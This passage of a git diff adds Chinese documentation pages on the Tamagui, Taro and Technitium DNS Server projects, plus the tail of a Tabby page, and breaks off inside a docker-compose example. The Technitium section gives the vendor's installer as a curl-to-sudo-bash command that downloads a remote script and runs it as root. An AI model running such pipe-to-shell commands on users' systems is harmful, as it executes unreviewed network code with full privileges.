嵌入式环境只要单文件绿色版 | +| **Alacritty** | GPU 极简 | 要一体化运维工作台 | 要极致性能与低内存 | +| **WezTerm** | Rust 跨平台 | 要 Lua 配置 + 多路复用 | 更偏好 WezTerm 的 mux 模型 | + +一句话:**Tabby = 终端界的「瑞士军刀」**——功能多、可插件、略重;适合每天开很多 SSH、又想要漂亮字体和统一快捷键的开发者与运维。 + +## 延伸阅读 + +- 官网与功能列表:[tabby.sh](https://tabby.sh/about/features) +- 源码与插件列表:[Eugeny/tabby](https://github.com/Eugeny/tabby) +- 插件开发:[docs.tabby.sh](https://docs.tabby.sh/) +- Web 版(可自托管):[tabby.sh/app](https://tabby.sh/app) · [tabby-web](https://github.com/Eugeny/tabby-web) +- 同作者 bastion:[Warpgate](https://github.com/warp-tech/warpgate) +- 配置迁移(macOS):复制 `~/Library/Application Support/tabby` 整目录并解锁 Vault diff --git a/src/content/docs/projects/tamagui.md b/src/content/docs/projects/tamagui.md new file mode 100644 index 000000000..332cbbe2f --- /dev/null +++ b/src/content/docs/projects/tamagui.md @@ -0,0 +1,442 @@ +--- +title: Tamagui — 跨平台 React / React Native 样式与 UI 系统 +来源: https://github.com/tamagui/tamagui +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +Tamagui 是一套面向 **React Web + React Native** 的跨平台 UI 基础设施:底层是类型安全的样式库(`@tamagui/core`),上层是可选的组件库(`tamagui`),中间还夹着一台**可选的优化编译器**(`@tamagui/static`),把你在 JSX 里写的样式尽量「压扁」成平台原生能直接吃的形式。 + +日常类比:你要同时装修**手机 App 店面**和**网页旗舰店**,传统做法是请两拨设计师各画一套图纸——改个按钮颜色,两边各改一遍,还容易风格走样。Tamagui 像一家「连锁装修总部」:先定好**品牌色板、间距标尺、灯光主题**(tokens + themes),再发一套**标准货架和收银台组件**(Button、Card、Input…),最后配一台**自动施工图机器**(compiler)——Web 端把复杂组件树压成 `div` + 原子 CSS,原生端把样式对象提前算好挂到 `View` 上,两边看起来一致,跑起来也不拖后腿。 + +它和 React Native Web、NativeWind 的关系: + +| 技术 | 定位 | +|------|------| +| React Native Web | 让 RN 组件能在浏览器渲染——**兼容层** | +| NativeWind | 在 RN 上用 Tailwind class 写样式——**样式工具** | +| Tamagui | 设计 tokens + 主题 + 组件 + 编译优化——**完整设计系统** | + +官方推荐用脚手架起步: + +```bash +npm create tamagui@latest +``` + +当前主版本为 **Tamagui 2.x**(2026 年初 GitHub 最新 release 约 v2.1.0),强调更稳定的编译器、Web-first 的 `Input`、以及可混用的动画驱动(`animatedBy`)。 + +## 为什么重要 + +不理解 Tamagui,以下问题很难答清楚: + +- **「一套代码三端」为什么常常牺牲性能?** —— 抽象层叠太多(styled-components、CSS-in-JS runtime、RN Web 转换)会让 Web bundle 膨胀、原生端 re-render 变多。Tamagui 用编译期**树扁平化(tree flattening)**和**部分求值(partial evaluation)**把抽象拆掉 +- **主题切换为什么很多库会闪一下?** —— 运行时改 context 会触发子树重渲染。Tamagui 把主题编译成 CSS 变量(Web)或静态样式对象(Native),切换时尽量不走 React 更新路径 +- **和 Tamagui 竞争的还有谁?** —— Gluestack UI、NativeWind + 自建组件、React Native Paper 等。Tamagui 的差异化是 **compiler + 完整 token/theme 体系 + 100% RN 样式 API 超集** +- **编译器是必装的吗?** —— 不是。Tamagui 在**无插件**时也能跑;官方建议开发期先不装,上线前再开 Babel/Metro/Vite 插件做最后一档加速 + +## 核心概念 + +Tamagui 可以拆成四层来记: + +### 1. Core:跨平台样式原语 + +`@tamagui/core` 提供 `View`、`Text`、`Stack`(`XStack` / `YStack` / `ZStack`)等基础视图,以及 `styled()` 工厂。样式 props 是 React Native Style API 的**类型化超集**,并支持: + +- **Token 引用**:`padding="$4"`、`color="$blue10"` +- **主题引用**:`backgroundColor="$background"`(随 `` 变化) +- **响应式 props**:`$sm={{ padding: '$2' }}`(编译为 media query 或原生条件样式) +- **伪状态**:`hoverStyle`、`pressStyle`、`focusStyle` + +### 2. Tokens:设计常量(不会动态变的 CSS 变量) + +用 `createTokens` 定义 `size`、`space`、`radius`、`color`、`zIndex` 等。类比连锁店的**全国统一尺码表**——S/M/L 编号全店通用,不会今天 S 是 36 明天变 38。 + +```tsx +const tokens = createTokens({ + size: { sm: 8, md: 12, lg: 20 }, + space: { sm: 4, md: 8, lg: 12 }, + color: { white: '#fff', black: '#000' }, +}) +``` + +组件里写 `width="$md"`,TypeScript 会校验 token 名是否存在。 + +### 3. Themes:可沿组件树覆盖的语义色 + +Themes 像**按区域切换的灯光方案**:大堂用暖光(`light`),VIP 室用冷光(`dark`),还能嵌套子主题 `dark_blue`。子组件读 `$background`、`$color` 等语义键,而不是硬编码 hex。 + +Theme 值优先;找不到时回退到 `tokens.color` 同名项——类似 CSS 变量作用域覆盖全局变量。 + +### 4. Compiler:前端「不可能三角」的妥协方案 + +Tamagui 文档把跨平台 UI 的困境叫 **Frontend Trilemma**(来自 Nathan Curtis 的跨平台讨论): + +1. **只写一次,到处跑**(共享代码) +2. **像原生一样快**(性能) +3. **开发体验好**(inline style、主题、响应式随手写) + +传统方案通常只能三选二。Tamagui 的编译器在构建期做四件事: + +| 优化 | 效果 | +|------|------| +| 原子 CSS 提取 | Web 端样式变 class,减小 JS | +| 部分求值与提升 | 把能算死的样式从运行时挪到构建期 | +| 树扁平化 | `styled(YStack)` 可能直接变成 `div` / `View` | +| 媒体查询 / 主题求值 | `useMedia`、`useTheme` 逻辑尽量编译掉 | + +Tamagui 官网首页约 55 个内联 styled 组件里,有 49 个被压扁成原生 `div`;开编译器后 Lighthouse 分数约提升 15%(官方 benchmark,实际项目因复杂度而异)。 + +### 5. UI Kit:开箱即用的组件 + +`tamagui` 包提供 `Button`、`Input`、`Sheet`、`Dialog`、`Avatar` 等,支持 **compound component** API(如 `Button.Icon`)、`size` / `theme` prop、以及 `Adapt` primitive——同一组件在 Web 弹 Dialog、在 Native 弹 Sheet,代码路径可合并。 + +## 从零配置(最小可运行) + +**1. 安装** + +```bash +npm install tamagui @tamagui/config +# 可选:编译器 +npm install --save-dev @tamagui/babel-plugin +``` + +**2. 配置文件 `tamagui.config.ts`** + +推荐先用官方预设 `@tamagui/config/v5`,再按需覆盖: + +```tsx +import { defaultConfig } from '@tamagui/config/v5' +import { animations } from '@tamagui/config/v5-css' // Tamagui 2:动画需单独导入 +import { createTamagui } from 'tamagui' + +export const config = createTamagui({ + ...defaultConfig, + animations, + media: { + ...defaultConfig.media, + // 自定义断点 + tablet: { maxWidth: 1024 }, + }, +}) + +type Conf = typeof config +declare module 'tamagui' { + interface TamaguiCustomConfig extends Conf {} +} +``` + +**3. 根组件包裹 Provider** + +```tsx +import { TamaguiProvider, YStack, Text } from 'tamagui' +import { config } from './tamagui.config' + +export default function App() { + return ( + + + + 你好,Tamagui + + + + ) +} +``` + +**4. 启用编译器(可选,生产阶段)** + +Metro(Expo)示例——在 `babel.config.js` 中加入: + +```js +module.exports = function (api) { + api.cache(true) + return { + presets: ['babel-preset-expo'], + plugins: [ + [ + '@tamagui/babel-plugin', + { + components: ['tamagui'], + config: './tamagui.config.ts', + logTimings: true, + }, + ], + ], + } +} +``` + +Vite / Webpack 有对应插件;暂不支持 Turbopack 时可用 `@tamagui/cli` 预编译。 + +## 实践案例 + +### 案例 1:styled 组件 + 主题嵌套 + +用 `styled()` 定义可复用按钮,颜色全部走 theme token,换主题不用改组件内部: + +```tsx +import { styled, Theme, YStack, Text, Button } from 'tamagui' + +const PrimaryButton = styled(Button, { + name: 'PrimaryButton', + backgroundColor: '$blue10', + color: '$blue1', + borderRadius: '$4', + paddingHorizontal: '$4', + paddingVertical: '$2', + + hoverStyle: { + backgroundColor: '$blue9', + }, + pressStyle: { + backgroundColor: '$blue8', + scale: 0.97, + }, + + variants: { + size: { + sm: { paddingVertical: '$1', fontSize: '$2' }, + lg: { paddingVertical: '$3', fontSize: '$5' }, + }, + } as const, + + defaultVariants: { + size: 'sm', + }, +}) + +export function SettingsScreen() { + return ( + + + 设置 + + + {/* 默认 light 主题 */} + 保存 + + {/* 局部切到 dark 子主题,不影响外层 */} + + 深色模式预览 + + + ) +} +``` + +要点: + +- `name: 'PrimaryButton'` 让该组件可以绑定**组件级主题**(进阶用法) +- `variants` 是 Tamagui 的变体系统,类似 CVA(class-variance-authority)但跨平台 +- `hoverStyle` / `pressStyle` 在 Web 走 CSS 伪类,在 Native 走 Pressable 状态——同一套 API + +### 案例 2:响应式布局 + UI Kit 表单 + +下面示例展示 `$gtSm` 响应式 prop(大于 sm 断点时生效)和 Tamagui 2 的 Web-first `Input`: + +```tsx +import { useState } from 'react' +import { + XStack, + YStack, + Input, + Label, + Button, + H2, + Paragraph, + Separator, +} from 'tamagui' + +export function LoginCard() { + const [email, setEmail] = useState('') + const [password, setPassword] = useState('') + + return ( + +

登录

+ + 同一套表单在 iOS、Android、Web 复用 + + + + + + + + + + + + + + + + + + +
+ ) +} +``` + +Tamagui 2 的 `Input` 允许写标准 HTML 属性(`autoComplete`、`id`),在 Native 端自动映射为 RN 等价 props——减少 `#ifdef web` 式分支代码。 + +### 案例 3:Adapt — 同一 Dialog,Web 弹窗 / 手机 Sheet + +`Adapt` 是 Tamagui 的「场景切换器」:大屏走 Dialog 居中弹窗,触屏小屏自动换成底部 Sheet——像同一份菜单,堂食用托盘、外卖用打包盒,后厨只炒一次菜。 + +Tamagui 2 起,`Popover.Sheet` 子组件已拆成独立的 `Sheet`;动画 prop 从 `animation` 改为 `transition`: + +```tsx +import { useState } from 'react' +import { + Adapt, + Button, + Dialog, + Sheet, + Paragraph, + XStack, + YStack, +} from 'tamagui' + +export function ConfirmDelete({ onConfirm }: { onConfirm: () => void }) { + const [open, setOpen] = useState(false) + + return ( + <> + + + + + + + 确认删除? + 此操作不可撤销,所有数据将被清除。 + + + + + + + + {/* 触屏 / 窄屏:内容自动「搬进」Sheet */} + + + + + + + + + + + + + + ) +} +``` + +Native 端建议在入口文件提前 import 官方 setup,否则 Portal / 手势可能异常: + +```tsx +import '@tamagui/native/setup-teleport' // Dialog / Sheet 挂载 +import '@tamagui/native/setup-gesture-handler' // Sheet 拖拽更顺滑 +``` + +## 与相关技术怎么选 + +| 场景 | 建议 | +|------|------| +| 已有 Expo + Tailwind 习惯,只要样式工具 | NativeWind 更轻 | +| 要从零建设计系统 + 三端组件库 | Tamagui 更完整 | +| 只要 Material Design 风格安卓/iOS | React Native Paper | +| 已有大量 RN Web 代码,想渐进增强 | 先 `@tamagui/core` 只替换样式层,再逐步引入 UI kit | + +Tamagui **不替代** React Native 或 Expo——它站在 RN 组件模型之上。Web 端底层仍依赖 RN Web 的语义(flex 默认纵向、`Text` 包裹文字等),所以同时理解 [React Native Web](./react-native-web.md) 会少踩很多坑。 + +## 常见坑与排查 + +1. **类型提示不出来**:`tamagui.config.ts` 里必须 `declare module 'tamagui' { interface TamaguiCustomConfig … }`,且 Provider 只在根入口 import 一次 config,避免热更新循环引用。 + +2. **Web-only 项目也要装 `react-native` 类型**:当前 prop 自动完成依赖 `@types/react-native` 或 workspace 里的 `react-native` 类型包——运行时 Web bundle 不一定会打进 RN 本体。 + +3. **编译器没生效**:默认只优化 `components` 配置里列出的模块(通常是 `tamagui` 包和你自己的 `components/` 目录)。App 目录里临时写的 `styled()` 可能仍走运行时插入——把共享组件抽到独立目录。 + +4. **主题闪烁(FOUC)**:SSR 场景检查 `settings.disableSSR`、确保服务端与客户端 `defaultTheme` 一致;Web 端用编译后的 CSS 变量可避免 hydration 后改色。 + +5. **动画平台差异**:Tamagui 2 把 `animation` 统一改名为 `transition`;可用 `animatedBy` 按组件选择 Reanimated / CSS / Moti 驱动,编译器据此做更好优化。配置里别忘了 `import { animations } from '@tamagui/config/v5-css'` 并传给 `createTamagui`。 + +## 学习路径建议 + +1. **第一天**:`npm create tamagui@latest` 跑通 starter → 改 `tamagui.config` 里的一个 color token → 观察组件变化 +2. **第二天**:读 `styled` + `variants` 文档,把页面里两个重复按钮抽成 styled 组件 +3. **第三天**:加 `Theme` 嵌套实现 dark mode,用 `$gtSm` 做一个响应式两栏布局 +4. **上线前**:按 [Compiler 文档](https://tamagui.dev/docs/intro/compiler-install) 接入 Babel/Metro 插件,对比 bundle 体积与 Lighthouse + +## 小结 + +Tamagui 解决的不是「能不能跨平台」,而是「跨平台之后**还像原生、还好维护**」。记住这张心智图: + +``` +tokens(全局常量)→ themes(语义配色,可嵌套)→ styled / UI 组件(开发体验) + ↓ + compiler(构建期压扁抽象) + ↓ + Web: div + atomic CSS Native: View + 提升后的 style 对象 +``` + +如果你在做 Expo / Next.js + RN Web 的共享 UI 层,Tamagui 值得作为**默认候选**认真评估一轮;若项目只需几个跨端页面,先用 NativeWind 或纯 RN Web 也完全合理。 + +## 参考链接 + +- 官网与文档:https://tamagui.dev +- GitHub:https://github.com/tamagui/tamagui +- 为什么需要编译器:https://tamagui.dev/docs/intro/why-a-compiler +- 配置指南:https://tamagui.dev/docs/core/configuration +- Tamagui 2 发布公告:https://tamagui.dev/blog/version-two diff --git a/src/content/docs/projects/taro.md b/src/content/docs/projects/taro.md new file mode 100644 index 000000000..f65adf498 --- /dev/null +++ b/src/content/docs/projects/taro.md @@ -0,0 +1,319 @@ +--- +title: Taro — 一套 React/Vue 代码跑遍小程序与 H5 +来源: https://github.com/NervJS/taro +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +Taro 是京东凹凸实验室开源的**跨端跨框架**解决方案:你用熟悉的 React 或 Vue 写页面,同一套源码可以编译到微信/支付宝/抖音/京东/百度/QQ/飞书等小程序、H5、React Native,以及鸿蒙等更多平台。日常类比:Taro 像一家连锁餐厅的**中央厨房**——厨师(开发者)只按一份菜谱(React/Vue 代码)炒菜,出餐时自动换成各分店(小程序、H5、App)的盘子和摆盘规范,顾客在各店吃到的仍是同一道菜,不必为每家店单独雇一队厨师。 + +它和「把网页塞进 WebView」不同。Taro 3 起采用**重运行时**架构:在小程序等环境里模拟 DOM/BOM,让真正的 React 或 Vue 跑起来,再把虚拟 DOM 映射成各端原生视图,因此 Hooks、Context、大部分 npm 生态可以复用。 + +```bash +# 安装 CLI 并创建 React + TypeScript 项目 +npm install -g @tarojs/cli +taro init myApp +# 选择框架:React / Vue,模板:默认或 TS + +cd myApp +npm run dev:weapp # 微信开发者工具预览 +npm run dev:h5 # 浏览器预览 +npm run build:weapp # 生产构建小程序 +``` + +## 为什么重要 + +不理解 Taro,以下场景容易选型失误或反复踩坑: + +- **业务要「小程序 + H5 + App」三端齐发**:自研三套团队成本极高;Taro 让前端团队用一套 React/Vue 技能栈覆盖主流端 +- **已有 React H5 想进微信生态**:Taro 3 不是简单「语法转译」,而是运行时兼容,迁移 Hooks 组件比 Taro 1/2 时代平滑得多 +- **各小程序 API/组件名不一致**:Taro 以微信规范为基准做统一抽象,`Taro.request`、`@tarojs/components` 屏蔽大部分平台差异 +- **与 uni-app 的取舍**:uni-app 偏 Vue 生态 + DCloud 工具链;Taro 偏 React/Vue 双栈 + 京东系生产验证(京喜、京东购物等),团队技术栈决定选型 + +## 核心概念 + +Taro 的技术栈可以拆成六块: + +### 1. 编译时 + 运行时双层架构(Taro 3/4) + +Taro 1/2 主要靠**编译时**把 JSX 转成各端模板(类似早期 mpvue),难以 100% 兼容 React,也无法用 Vue。Taro 3 改为: + +1. 开发者写标准 React/Vue 代码; +2. **Webpack / Vite** 打包业务与框架; +3. **运行时**(`@tarojs/runtime`)在目标端维护一棵类 DOM 树; +4. 框架 reconciler 更新这棵树的节点; +5. 各端 **Adapter** 把节点变更同步到小程序 `setData`、H5 真实 DOM 或 RN 视图。 + +类比:不是把中文书逐句翻译成英文(编译替换),而是在国外请一位同声传译(运行时),你继续说中文(写 React),听众听到的是当地语言(各端 UI)。 + +### 2. 组件与标签:`@tarojs/components` + +小程序没有 `div`/`span`,Taro 提供跨端组件: + +| Taro 组件 | 小程序侧 | H5 侧(近似) | +|-----------|----------|----------------| +| `View` | `view` | `div` | +| `Text` | `text` | `span` | +| `Image` | `image` | `img` | +| `Button` | `button` | `button` | +| `ScrollView` | `scroll-view` | 可滚动容器 | + +样式用 `className` + 类名,或内联 `style` 对象;单位常用 `px`/`rpx`(设计稿 750 宽时 1rpx ≈ 半屏逻辑像素)。 + +### 3. 路由与页面配置 + +每个页面是 `src/pages/xxx/index.tsx`,并在 `src/app.config.ts` 注册: + +```ts +export default defineAppConfig({ + pages: [ + 'pages/index/index', + 'pages/detail/index', + ], + window: { + navigationBarTitleText: '首页', + navigationBarBackgroundColor: '#ffffff', + }, + tabBar: { + list: [ + { pagePath: 'pages/index/index', text: '首页' }, + { pagePath: 'pages/detail/index', text: '详情' }, + ], + }, +}) +``` + +单页还可有 `index.config.ts` 覆盖导航栏标题等。类比:小程序的 `app.json` 被收进 TypeScript 配置文件,由 CLI 生成各端所需 JSON。 + +### 4. 生命周期:React 与小程序的桥接 + +页面级除了 React 的 `useEffect`,还有 Taro 页面钩子(在函数组件里用 hook 形式): + +- `useLoad` — 页面加载,类似小程序 `onLoad` +- `useDidShow` / `useDidHide` — 页面显示/隐藏 +- `usePullDownRefresh` — 下拉刷新 +- `useReachBottom` — 触底加载 + +类组件时代对应 `componentDidShow` 等;新项目推荐函数组件 + Hooks。 + +### 5. API 统一层:`@tarojs/taro` + +网络、存储、导航、设备能力走 `Taro.*`,编译到各端原生 API: + +```ts +import Taro from '@tarojs/taro' + +Taro.request({ url: 'https://api.example.com/items' }) +Taro.setStorageSync('token', 'xxx') +Taro.navigateTo({ url: '/pages/detail/index?id=1' }) +``` + +条件编译可用 `process.env.TARO_ENV`(`weapp` / `h5` / `rn` 等)写平台分支。 + +### 6. 插件化与多端扩展 + +Taro 3+ 插件系统允许扩展新端或改编译链,无需 fork 核心仓库。官方与各厂商维护微信、支付宝、抖音、京东、鸿蒙等 preset;企业可写自定义插件接入内部容器。 + +## 示例一:函数组件 + Hooks 首页 + +```tsx +// src/pages/index/index.tsx +import { View, Text, Button } from '@tarojs/components' +import Taro, { useLoad, useDidShow } from '@tarojs/taro' +import { useState } from 'react' +import './index.scss' + +export default function Index() { + const [count, setCount] = useState(0) + const [env, setEnv] = useState('') + + useLoad((options) => { + console.log('页面参数', options) + }) + + useDidShow(() => { + setEnv(process.env.TARO_ENV ?? 'unknown') + }) + + const goDetail = () => { + Taro.navigateTo({ url: '/pages/detail/index?from=index' }) + } + + return ( + + 你好,Taro + 当前端:{env} + 点击次数:{count} + + + + ) +} +``` + +```scss +// src/pages/index/index.scss +.index { + padding: 40px; + .title { + font-size: 36px; + font-weight: 600; + margin-bottom: 24px; + } + .env, .count { + display: block; + font-size: 28px; + color: #666; + margin-bottom: 16px; + } +} +``` + +要点:`View`/`Text` 替代 HTML 标签;事件用 `onClick`(H5)在小程序会映射为 `bindtap`;样式文件按页引入,构建时各端做相应处理。 + +## 示例二:请求数据 + 列表渲染 + 下拉刷新 + +`index.config.ts` 开启下拉刷新: + +```ts +export default definePageConfig({ + navigationBarTitleText: '商品列表', + enablePullDownRefresh: true, +}) +``` + +页面逻辑: + +```tsx +import { View, Text, Image } from '@tarojs/components' +import Taro, { useLoad, usePullDownRefresh, useReachBottom } from '@tarojs/taro' +import { useState, useCallback } from 'react' + +interface Item { + id: string + title: string + cover: string +} + +export default function ListPage() { + const [items, setItems] = useState([]) + const [page, setPage] = useState(1) + const [loading, setLoading] = useState(false) + + const fetchPage = useCallback(async (p: number, replace = false) => { + if (loading) return + setLoading(true) + try { + const res = await Taro.request<{ list: Item[] }>({ + url: `https://api.example.com/items?page=${p}`, + method: 'GET', + }) + const list = res.data?.list ?? [] + setItems((prev) => (replace ? list : [...prev, ...list])) + setPage(p) + } catch (e) { + Taro.showToast({ title: '加载失败', icon: 'none' }) + } finally { + setLoading(false) + Taro.stopPullDownRefresh() + } + }, [loading]) + + useLoad(() => fetchPage(1, true)) + + usePullDownRefresh(() => fetchPage(1, true)) + + useReachBottom(() => fetchPage(page + 1)) + + return ( + + {items.map((item) => ( + + Taro.navigateTo({ url: `/pages/detail/index?id=${item.id}` }) + } + > + + {item.title} + + ))} + {loading && 加载中…} + + ) +} +``` + +这是小程序列表页的常见模式:首屏 `useLoad`、下拉 `usePullDownRefresh`、分页 `useReachBottom`,逻辑与纯微信小程序一致,但写法是 React Hooks。 + +## 项目结构与常用命令 + +典型 Taro 4 + React 目录: + +``` +myApp/ +├── config/ # 编译配置 index.ts(designWidth、alias、plugins) +├── src/ +│ ├── app.ts # 应用入口 +│ ├── app.config.ts # 全局路由与 window +│ ├── app.scss +│ └── pages/ +│ └── index/ +│ ├── index.tsx +│ ├── index.config.ts +│ └── index.scss +├── project.config.json # 微信开发者工具工程(dev:weapp 生成/更新) +└── package.json +``` + +| 命令 | 作用 | +|------|------| +| `npm run dev:weapp` | 监听编译,输出到 `dist/`,用微信开发者工具打开 | +| `npm run dev:h5` | 本地 H5 开发服务器 | +| `npm run dev:alipay` | 支付宝小程序 | +| `npm run build:weapp` | 生产构建小程序包 | +| `taro build --type h5` | 等价于 build h5 | + +`config/index.ts` 里 `designWidth: 750` 与 `deviceRatio` 决定 px 转 rpx 的规则,和设计稿宽度要对齐。 + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| React / Vue | Taro 是运行时容器,不替代框架;你写的仍是标准组件与 Hooks | +| 微信小程序原生 | Taro 编译产物可在微信开发者工具运行;复杂场景仍需了解 wx API 差异 | +| uni-app | 同为跨端方案;uni-app 默认 Vue 语法 + uts,Taro 更偏 React 与京东生态 | +| React Native | Taro 可编译到 RN 端,但 RN 端生态与调试路径与小程序/H5 不同,需单独验证 | +| taro-ui | 官方多端 UI 库(`taro-ui@next`),组件在小程序/H5 可用,RN 端支持有限 | + +## 常见问题与最佳实践 + +**样式**:避免依赖大量 Web 专有选择器;flex 布局最稳妥。小程序不支持 `*` 通配部分行为与 H5 不同,关键页要在真机预览。 + +**包体积**:小程序主包有 2MB 限制(分包可扩);用分包加载 `subPackages`,图片走 CDN,按需引入组件。 + +**原生能力**:蓝牙、支付、登录等用 `Taro.*` 或各端插件;无法满足时可用**原生插件**或 `createNativeComponent` 嵌入原生模块。 + +**状态管理**:Redux、Zustand、MobX 在 Taro 3+ 大多可用;注意持久化用 `Taro.setStorage` 而非 `localStorage`(小程序无 window)。 + +**调试**:H5 用 Chrome DevTools;小程序用微信开发者工具 + Source Map;多端差异用 `process.env.TARO_ENV` 分支并维护最小差异层。 + +## 版本演进(读文档时对齐心智) + +| 世代 | 思路 | 特点 | +|------|------|------| +| Taro 1 | 编译 JSX → 模板 | 类 React,生态难复用 | +| Taro 2 | 编译 + 部分运行时 | 组件库统一,仍非完整 React | +| Taro 3 | 重运行时 | 真 React/Vue、Hooks、插件化 | +| Taro 4 | 延续 3 + 工程现代化 | 更好 Vite 支持、类型与鸿蒙等端扩展 | + +学习时以官方文档 [docs.taro.zone](https://docs.taro.zone) 为准;GitHub [NervJS/taro](https://github.com/NervJS/taro) 看 issue 与 release 了解各端适配进度。 + +## 小结 + +Taro 解决的是**多端重复建设**:用中央厨房式的统一源码 + 运行时适配,让 React/Vue 开发者进入小程序和 H5 时不必重学一套视图语法。零基础路径建议:先用 `taro init` 跑通 `dev:h5` 和 `dev:weapp` → 熟悉 `@tarojs/components` 与页面配置 → 用 `Taro.request` 和生命周期 Hooks 做一页列表 → 再碰分包、条件编译与原生插件。掌握「运行时映射」这条主线,比死记各端 API 表更能长期维护跨端项目。 diff --git a/src/content/docs/projects/technitium-dns-server.md b/src/content/docs/projects/technitium-dns-server.md new file mode 100644 index 000000000..388ff7be4 --- /dev/null +++ b/src/content/docs/projects/technitium-dns-server.md @@ -0,0 +1,248 @@ +--- +title: Technitium DNS Server — 自托管权威/递归 DNS 与网络过滤 +来源: https://github.com/TechnitiumSoftware/DnsServer +日期:2026-06-13 +子分类: 网络协议 +分类: 网络协议 +provenance:pipeline-v3 +--- + +## 是什么 + +**Technitium DNS Server** 是一款开源、跨平台的 **权威 + 递归 DNS 服务器**,带 Web 管理台和完整 HTTP API。你可以把它装在家里的小主机、树莓派或 VPS 上,让整个局域网(或单台电脑)的域名解析都经过自己控制的节点,而不是直接问运营商或公共 DNS。 + +日常类比: + +- **公共 DNS(8.8.8.8、1.1.1.1)**:像城市里统一的**电话查号台**——谁打来问「某某公司电话多少」,查号台按公开黄页回答;查号台也知道你问了什么(隐私取决于对方政策)。 +- **Technitium DNS Server**:像在你家或公司里设了一个**自己的前台总机**——员工/设备先问总机;总机可以查内部通讯录(权威区)、再去外面查号(递归/转发)、把常见号码记在便签上(缓存)、还能直接拒接骚扰电话(广告/恶意域名拦截)。 + +默认装好就能用:监听 `53` 端口做 DNS 解析,Web 控制台在 `http://<主机>:5380/`。首次登录默认账号 `admin` / `admin`,**务必立刻改密码**。 + +官方站点:[technitium.com/dns](https://technitium.com/dns) +源码:[TechnitiumSoftware/DnsServer](https://github.com/TechnitiumSoftware/DnsServer) + +## 为什么重要 + +不理解 Technitium,下面几件事很难在一个系统里同时做到: + +- **局域网级广告/恶意软件拦截**:订阅 block list URL,服务器每 24 小时自动更新,对匹配域名返回 `0.0.0.0` / `::`(可配 Allowed Zone 白名单例外) +- **DoT / DoH / DoQ**:在 UDP/TCP 53 之外提供加密 DNS,弥补多数操作系统和应用仍不原生支持加密解析的缺口 +- **开发/测试用权威区**:本地建 `dev.example.com` 等 zone,不必改 hosts 就能模拟生产域名 +- **条件转发(Conditional Forwarder)**:内网 AD DNS、公司 intranet 域名走专用上游,其余走 Cloudflare/Google 或自递归 +- **自动化**:Web 控制台调用的 REST API 与脚本、CI、Ansible 等同源——控制台能点的,API 都能做(见 [APIDOCS.md](https://github.com/TechnitiumSoftware/DnsServer/blob/master/APIDOCS.md)) + +同类方案还有 Pi-hole(更偏「拦截 + 统计」)、AdGuard Home、dnsmasq + 手工配置。Technitium 的特点是把 **权威、递归、DHCP、集群、DNS Apps** 收进一个带 GUI 和 API 的二进制里,适合想「一台服务管全网 DNS」的场景。 + +## 核心概念 + +### 1. 权威 vs 递归 vs 转发 + +| 模式 | 做什么 | 典型用途 | +|------|--------|----------| +| **权威(Authoritative)** | 你托管的 zone 由本机「说了算」 | `home.lan`、`staging.myapp.local` | +| **递归(Recursive)** | 从根服务器一路问到真实答案 | 家里设备查 `github.com` | +| **转发(Forwarder)** | 不自己递归,把查询转给上游(可配 DoH URL) | 统一走 `https://cloudflare-dns.com/dns-query` | + +Zone 类型还包括 **Secondary**(从主区同步)、**Stub**(跟踪 NS)、**Conditional Forwarder**(按域名选不同上游)。 + +### 2. 缓存与「热数据」 + +Technitium 会按记录 TTL 缓存答案,并支持: + +- **Serve Stale**:上游暂时不可达时,最多约 3 天内仍返回过期缓存(「陈面包总比没面包好」) +- **Prefetch / Auto Prefetch**:热门记录在 TTL 将尽前后台刷新,降低延迟尖刺 +- **Negative Caching**:NXDOMAIN 也会缓存,避免对不存在域名反复打上游 + +Dashboard 上的 **Cached** 比例越高,说明越多查询没离开本机。 + +### 3. Blocked Zone / Block List / Allowed Zone + +- **Blocked Zone**:手工拉黑域名 +- **Block List Zone**:从一个或多个 URL 拉取列表(如 StevenBlack hosts),每日更新 +- **Allowed Zone**:在黑名单里的例外(例如拦截全网广告但放行 `ads.example.com`) + +拦截 A 记录时默认解析到 `0.0.0.0`;统计里的 **Blocked** 计数即此类响应。 + +### 4. 监听端点与安全协议 + +默认 **DNS Local End Points**:`0.0.0.0:53` 与 `[::]:53`(全网卡)。若只想服务某一网段,可改成该网卡 IP。 + +常见端口(安装后需在防火墙放行): + +| 端口 | 用途 | +|------|------| +| 53 udp/tcp | 标准 DNS | +| 5380 tcp | Web 控制台 HTTP | +| 53443 tcp | Web 控制台 HTTPS | +| 853 tcp/udp | DNS-over-TLS / DoQ | +| 443 tcp/udp | DNS-over-HTTPS | +| 67 udp | 内置 DHCP(可选) | + +自 v15 起,需登录的 HTTP API 要在 `Authorization: Bearer ` 里带会话或 API Token。 + +### 5. DNS Apps 与集群 + +- **DNS Apps**:类似「跑在 DNS 服务器上的插件」,通过 zone 里的 `APP` 记录把查询交给指定 App 处理(商店里含高级正则拦截等) +- **Clustering**:多实例从一个 Web 控制台管理,适合冗余与分担读负载(升级时先升 secondary 再升 primary) + +### 6. 内置 DHCP + +与 DNS 集成:给 scope 配域名选项后,可为客户端自动写正向/反向记录——小网络「一台树莓派管 DHCP + DNS」即可落地。 + +## 实践案例 + +### 案例 1:Ubuntu 一键安装并让全网使用 + +官方安装脚本(会装 .NET 运行时与 systemd 服务): + +```bash +# 安装或升级 +curl -sSL https://download.technitium.com/dns/install.sh | sudo bash + +# 防火墙示例(按发行版调整) +sudo ufw allow 53/tcp +sudo ufw allow 53/udp +sudo ufw allow 5380/tcp +``` + +安装后浏览器打开 `http://<服务器IP>:5380/`,改密码,在 **Settings → DNS Settings** 里可配置 **Forwarders**,例如: + +```text +https://cloudflare-dns.com/dns-query (1.1.1.1) +``` + +或传统 `1.1.1.1:53`。然后在路由器 DHCP 里把 **DNS 服务器** 指到这台机器的局域网 IP。 + +**常见坑**:Ubuntu 上 `systemd-resolved` 或 `dnsmasq` 已占用 53 端口。日志会出现 `Address already in use`。需停用 stub resolver 或改 Technitium 只监听非 53 端口(不推荐家用场景)。 + +### 案例 2:Docker Compose 部署 + +官方镜像 `technitium/dns-server` 适合已有容器编排习惯的环境: + +```yaml +# docker-compose.yml 精简示例 +services: + technitium-dns: + image: technitium/dns-server:latest + container_name: technitium-dns + restart: unless-stopped + ports: + - "53:53/udp" + - "53:53/tcp" + - "5380:5380/tcp" + volumes: + - ./config:/etc/dns + environment: + - 